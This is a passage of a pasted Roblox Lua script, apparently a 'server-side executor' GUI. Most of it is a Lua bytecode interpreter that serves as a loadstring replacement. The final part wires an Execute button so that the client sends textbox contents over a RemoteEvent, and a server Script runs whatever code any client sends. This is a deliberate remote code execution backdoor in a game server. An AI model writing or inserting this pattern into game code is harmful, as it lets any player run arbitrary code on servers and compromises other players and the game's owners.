  4965. C = C > 255 and constants[C-256].data or stack[C];
  4966.  
  4967. stack[instruction.A][B] = C
  4968. end,
  4969. [10] = function (instruction) -- NEWTABLE
  4970. stack[instruction.A] = {}
  4971. end,
  4972. [11] = function (instruction) -- SELF
  4973. local A = instruction.A
  4974. local B = instruction.B
  4975. local C = instruction.C
  4976. local stack = stack
  4977.  
  4978. B = stack[B]
  4979. C = C > 255 and constants[C-256].data or stack[C]
  4980.  
  4981. stack[A+1] = B
  4982. stack[A] = B[C]
  4983. end,
  4984. [12] = function(instruction) -- ADD
  4985. local B = instruction.B;
  4986. local C = instruction.C;
  4987. local stack, constants = stack, constants;
  4988.  
  4989. B = B > 255 and constants[B-256].data or stack[B];
  4990. C = C > 255 and constants[C-256].data or stack[C];
  4991.  
  4992. stack[instruction.A] = B+C;
  4993. end,
  4994. [13] = function(instruction) -- SUB
  4995. local B = instruction.B;
  4996. local C = instruction.C;
  4997. local stack, constants = stack, constants;
  4998.  
  4999. B = B > 255 and constants[B-256].data or stack[B];
  5000. C = C > 255 and constants[C-256].data or stack[C];
  5001.  
  5002. stack[instruction.A] = B - C;
  5003. end,
  5004. [14] = function(instruction) -- MUL
  5005. local B = instruction.B;
  5006. local C = instruction.C;
  5007. local stack, constants = stack, constants;
  5008.  
  5009. B = B > 255 and constants[B-256].data or stack[B];
  5010. C = C > 255 and constants[C-256].data or stack[C];
  5011.  
  5012. stack[instruction.A] = B * C;
  5013. end,
  5014. [15] = function(instruction) --DIV
  5015. local B = instruction.B;
  5016. local C = instruction.C;
  5017. local stack, constants = stack, constants;
  5018.  
  5019. B = B > 255 and constants[B-256].data or stack[B];
  5020. C = C > 255 and constants[C-256].data or stack[C];
  5021.  
  5022. stack[instruction.A] = B / C;
  5023. end,
  5024. [16] = function(instruction) -- MOD
  5025. local B = instruction.B;
  5026. local C = instruction.C;
  5027. local stack, constants = stack, constants;
  5028.  
  5029. B = B > 255 and constants[B-256].data or stack[B];
  5030. C = C > 255 and constants[C-256].data or stack[C];
  5031.  
  5032. stack[instruction.A] = B % C;
  5033. end,
  5034. [17] = function(instruction) -- POW
  5035. local B = instruction.B;
  5036. local C = instruction.C;
  5037. local stack, constants = stack, constants;
  5038.  
  5039. B = B > 255 and constants[B-256].data or stack[B];
  5040. C = C > 255 and constants[C-256].data or stack[C];
  5041.  
  5042. stack[instruction.A] = B ^ C;
  5043. end,
  5044. [18] = function(instruction) -- UNM
  5045. stack[instruction.A] = -stack[instruction.B]
  5046. end,
  5047. [19] = function(instruction) -- NOT
  5048. stack[instruction.A] = not stack[instruction.B]
  5049. end,
  5050. [20] = function(instruction) -- LEN
  5051. stack[instruction.A] = #stack[instruction.B]
  5052. end,
  5053. [21] = function(instruction) -- CONCAT
  5054. local B = instruction.B
  5055. local result = stack[B]
  5056. for i = B+1, instruction.C do
  5057. result = result .. stack[i]
  5058. end
  5059. stack[instruction.A] = result
  5060. end,
  5061. [22] = function(instruction) -- JUMP
  5062. IP = IP + instruction.sBx
  5063. end,
  5064. [23] = function(instruction) -- EQ
  5065. local A = instruction.A
  5066. local B = instruction.B
  5067. local C = instruction.C
  5068. local stack, constants = stack, constants
  5069.  
  5070. A = A ~= 0
  5071. B = B > 255 and constants[B-256].data or stack[B]
  5072. C = C > 255 and constants[C-256].data or stack[C]
  5073. if (B == C) ~= A then
  5074. IP = IP + 1
  5075. end
  5076. end,
  5077. [24] = function(instruction) -- LT
  5078. local A = instruction.A
  5079. local B = instruction.B
  5080. local C = instruction.C
  5081. local stack, constants = stack, constants
  5082.  
  5083. A = A ~= 0
  5084. B = B > 255 and constants[B-256].data or stack[B]
  5085. C = C > 255 and constants[C-256].data or stack[C]
  5086. if (B < C) ~= A then
  5087. IP = IP + 1
  5088. end
  5089. end,
  5090. [25] = function(instruction) -- LT
  5091. local A = instruction.A
  5092. local B = instruction.B
  5093. local C = instruction.C
  5094. local stack, constants = stack, constants
  5095.  
  5096. A = A ~= 0
  5097. B = B > 255 and constants[B-256].data or stack[B]
  5098. C = C > 255 and constants[C-256].data or stack[C]
  5099. if (B <= C) ~= A then
  5100. IP = IP + 1
  5101. end
  5102. end,
  5103. [26] = function(instruction) -- TEST
  5104. if (not not stack[instruction.A]) == (instruction.C == 0) then
  5105. IP = IP + 1
  5106. end
  5107. end,
  5108. [27] = function(instruction) -- TESTSET
  5109. local stack = stack
  5110. local B = stack[instruction.B]
  5111. if (not not B) == (instruction.C == 0) then
  5112. IP = IP + 1
  5113. else
  5114. stack[instruction.A] = B
  5115. end
  5116. end,
  5117. [28] = function(instruction) -- CALL
  5118. local A = instruction.A;
  5119. local B = instruction.B;
  5120. local C = instruction.C;
  5121. local stack = stack;
  5122. local args, results;
  5123. local limit, loop
  5124.  
  5125. args = {};
  5126. if B ~= 1 then
  5127. if B ~= 0 then
  5128. limit = A+B-1;
  5129. else
  5130. limit = top
  5131. end
  5132.  
  5133. loop = 0
  5134. for i = A+1, limit do
  5135. loop = loop + 1
  5136. args[loop] = stack[i];
  5137. end
  5138.  
  5139. limit, results = handle_return(stack[A](unpack(args, 1, limit-A)))
  5140. else
  5141. limit, results = handle_return(stack[A]())
  5142. end
  5143.  
  5144. top = A - 1
  5145.  
  5146. if C ~= 1 then
  5147. if C ~= 0 then
  5148. limit = A+C-2;
  5149. else
  5150. limit = limit+A
  5151. end
  5152.  
  5153. loop = 0;
  5154. for i = A, limit do
  5155. loop = loop + 1;
  5156. stack[i] = results[loop];
  5157. end
  5158. end
  5159. end,
  5160. [29] = function (instruction) -- TAILCALL
  5161. local A = instruction.A;
  5162. local B = instruction.B;
  5163. local C = instruction.C;
  5164. local stack = stack;
  5165. local args, results;
  5166. local top, limit, loop = top
  5167.  
  5168. args = {};
  5169. if B ~= 1 then
  5170. if B ~= 0 then
  5171. limit = A+B-1;
  5172. else
  5173. limit = top
  5174. end
  5175.  
  5176. loop = 0
  5177. for i = A+1, limit do
  5178. loop = loop + 1
  5179. args[#args+1] = stack[i];
  5180. end
  5181.  
  5182. results = {stack[A](unpack(args, 1, limit-A))};
  5183. else
  5184. results = {stack[A]()};
  5185. end
  5186.  
  5187. return true, results
  5188. end,
  5189. [30] = function(instruction) -- RETURN
  5190. --TODO: CLOSE
  5191. local A = instruction.A;
  5192. local B = instruction.B;
  5193. local stack = stack;
  5194. local limit;
  5195. local loop, output;
  5196.  
  5197. if B == 1 then
  5198. return true;
  5199. end
  5200. if B == 0 then
  5201. limit = top
  5202. else
  5203. limit = A + B - 2;
  5204. end
  5205.  
  5206. output = {};
  5207. local loop = 0
  5208. for i = A, limit do
  5209. loop = loop + 1
  5210. output[loop] = stack[i];
  5211. end
  5212. return true, output;
  5213. end,
  5214. [31] = function(instruction) -- FORLOOP
  5215. local A = instruction.A
  5216. local stack = stack
  5217.  
  5218. local step = stack[A+2]
  5219. local index = stack[A] + step
  5220. stack[A] = index
  5221.  
  5222. if step > 0 then
  5223. if index <= stack[A+1] then
  5224. IP = IP + instruction.sBx
  5225. stack[A+3] = index
  5226. end
  5227. else
  5228. if index >= stack[A+1] then
  5229. IP = IP + instruction.sBx
  5230. stack[A+3] = index
  5231. end
  5232. end
  5233. end,
  5234. [32] = function(instruction) -- FORPREP
  5235. local A = instruction.A
  5236. local stack = stack
  5237.  
  5238. stack[A] = stack[A] - stack[A+2]
  5239. IP = IP + instruction.sBx
  5240. end,
  5241. [33] = function(instruction) -- TFORLOOP
  5242. local A = instruction.A
  5243. local B = instruction.B
  5244. local C = instruction.C
  5245. local stack = stack
  5246.  
  5247. local offset = A+2
  5248. local result = {stack[A](stack[A+1], stack[A+2])}
  5249. for i = 1, C do
  5250. stack[offset+i] = result[i]
  5251. end
  5252.  
  5253. if stack[A+3] ~= nil then
  5254. stack[A+2] = stack[A+3]
  5255. else
  5256. IP = IP + 1
  5257. end
  5258. end,
  5259. [34] = function(instruction) -- SETLIST
  5260. local A = instruction.A
  5261. local B = instruction.B
  5262. local C = instruction.C
  5263. local stack = stack
  5264.  
  5265. if C == 0 then
  5266. error("NYI: extended SETLIST")
  5267. else
  5268. local offset = (C - 1) * 50
  5269. local t = stack[A]
  5270.  
  5271. if B == 0 then
  5272. B = top
  5273. end
  5274. for i = 1, B do
  5275. t[offset+i] = stack[A+i]
  5276. end
  5277. end
  5278. end,
  5279. [35] = function(instruction) -- CLOSE
  5280. --io.stderr:write("NYI: CLOSE")
  5281. --io.stderr:flush()
  5282. end,
  5283. [36] = function(instruction) -- CLOSURE
  5284. local proto = prototypes[instruction.Bx]
  5285. local instructions = instructions
  5286. local stack = stack
  5287.  
  5288. local indices = {}
  5289. local new_upvals = setmetatable({},
  5290. {
  5291. __index = function(t, k)
  5292. local upval = indices[k]
  5293. return upval.segment[upval.offset]
  5294. end,
  5295. __newindex = function(t, k, v)
  5296. local upval = indices[k]
  5297. upval.segment[upval.offset] = v
  5298. end
  5299. }
  5300. )
  5301. for i = 1, proto.upvalues do
  5302. local movement = instructions[IP]
  5303. if movement.opcode == 0 then -- MOVE
  5304. indices[i-1] = {segment = stack, offset = movement.B}
  5305. elseif instructions[IP].opcode == 4 then -- GETUPVAL
  5306. indices[i-1] = {segment = upvalues, offset = movement.B}
  5307. end
  5308. IP = IP + 1
  5309. end
  5310.  
  5311. local _, func = create_wrapper(proto, new_upvals)
  5312. stack[instruction.A] = func
  5313. end,
  5314. [37] = function(instruction) -- VARARG
  5315. local A = instruction.A
  5316. local B = instruction.B
  5317. local stack, vararg = stack, vararg
  5318.  
  5319. for i = A, A + (B > 0 and B - 1 or vararg_size) do
  5320. stack[i] = vararg[i - A]
  5321. end
  5322. end,
  5323. }
  5324.  
  5325. local function loop()
  5326. local instructions = instructions
  5327. local instruction, a, b
  5328.  
  5329. while true do
  5330. instruction = instructions[IP];
  5331. IP = IP + 1
  5332. a, b = opcode_funcs[instruction.opcode](instruction);
  5333. if a then
  5334. return b;
  5335. end
  5336. end
  5337. end
  5338.  
  5339. local debugging = {
  5340. get_stack = function()
  5341. return stack;
  5342. end;
  5343. get_IP = function()
  5344. return IP;
  5345. end
  5346. };
  5347.  
  5348. local function func(...)
  5349. local local_stack = {};
  5350. local ghost_stack = {};
  5351.  
  5352. top = -1
  5353. stack = setmetatable(local_stack, {
  5354. __index = ghost_stack;
  5355. __newindex = function(t, k, v)
  5356. if k > top and v then
  5357. top = k
  5358. end
  5359. ghost_stack[k] = v
  5360. end;
  5361. })
  5362. local args = {...};
  5363. vararg = {}
  5364. vararg_size = select("#", ...) - 1
  5365. for i = 0, vararg_size do
  5366. local_stack[i] = args[i+1];
  5367. vararg[i] = args[i+1]
  5368. end
  5369.  
  5370. environment = getfenv();
  5371. IP = 1;
  5372. local thread = coroutine.create(loop)
  5373. local a, b = coroutine.resume(thread)
  5374.  
  5375. if a then
  5376. if b then
  5377. return unpack(b);
  5378. end
  5379. return;
  5380. else
  5381. if advanced_debug then
  5382. --TODO advanced debugging
  5383. else
  5384. --TODO error converting
  5385. local name = cache.name;
  5386. local line = cache.debug.lines[IP];
  5387. local err = b:gsub("(.-:)", "");
  5388. local output = "";
  5389.  
  5390. output = output .. (name and name .. ":" or "");
  5391. output = output .. (line and line .. ":" or "");
  5392. output = output .. b
  5393. --[[
  5394. output = ("%s (Instruction=%s)"):format(output,
  5395. lua_opcode_names[select(2,debug.getlocal(loop,1, 1)).opcode+1])
  5396. --]]
  5397. error(output, 0);
  5398. end
  5399. end
  5400. end
  5401.  
  5402. return debugging, func;
  5403. end
  5404.  
  5405. return {
  5406. load_bytecode = function(bytecode,env)
  5407. local cache = decode_bytecode(bytecode);
  5408. local _, func = create_wrapper(cache);
  5409. return func;
  5410. end;
  5411.  
  5412. -- Utilities (Debug, Introspection, Testing, etc)
  5413. utils = {
  5414. decode_bytecode = decode_bytecode;
  5415. create_wrapper = create_wrapper;
  5416. debug_bytecode = function(bytecode)
  5417. local cache = decode_bytecode(bytecode)
  5418. return create_wrapper(cache);
  5419. end;
  5420. };
  5421. }
  5422. end
  5423. fake_module_scripts[script] = module_script
  5424. end
  5425.  
  5426.  
  5427. -- Scripts:
  5428.  
  5429. local function FSQNA_fake_script() -- Execute.LocalScript
  5430. local script = Instance.new('LocalScript', Execute)
  5431. local req = require
  5432. local require = function(obj)
  5433. local fake = fake_module_scripts[obj]
  5434. if fake then
  5435. return fake()
  5436. end
  5437. return req(obj)
  5438. end
  5439.  
  5440. local execute = script.Parent.Parent.Execute
  5441. local text = script.Parent.Parent.Source
  5442. local remote = script.Parent.yes
  5443.  
  5444. execute.MouseButton1Click:Connect(function()
  5445. remote:FireServer(text.Text)
  5446. end)
  5447.  
  5448. end
  5449. coroutine.wrap(FSQNA_fake_script)()
  5450. local function IGRGN_fake_script() -- Execute.Script
  5451. local script = Instance.new('Script', Execute)
  5452. local req = require
  5453. local require = function(obj)
  5454. local fake = fake_module_scripts[obj]
  5455. if fake then
  5456. return fake()
  5457. end
  5458. return req(obj)
  5459. end
  5460.  
  5461. local remote = script.Parent.yes
  5462.  
  5463. remote.OnServerEvent:Connect(function(yes, no)
  5464. require(script.Loadstring) (no) ()
  5465. end)
  5466. end
  5467. coroutine.wrap(IGRGN_fake_script)()
  5468.  
Add Comment
Please, Sign In to add comment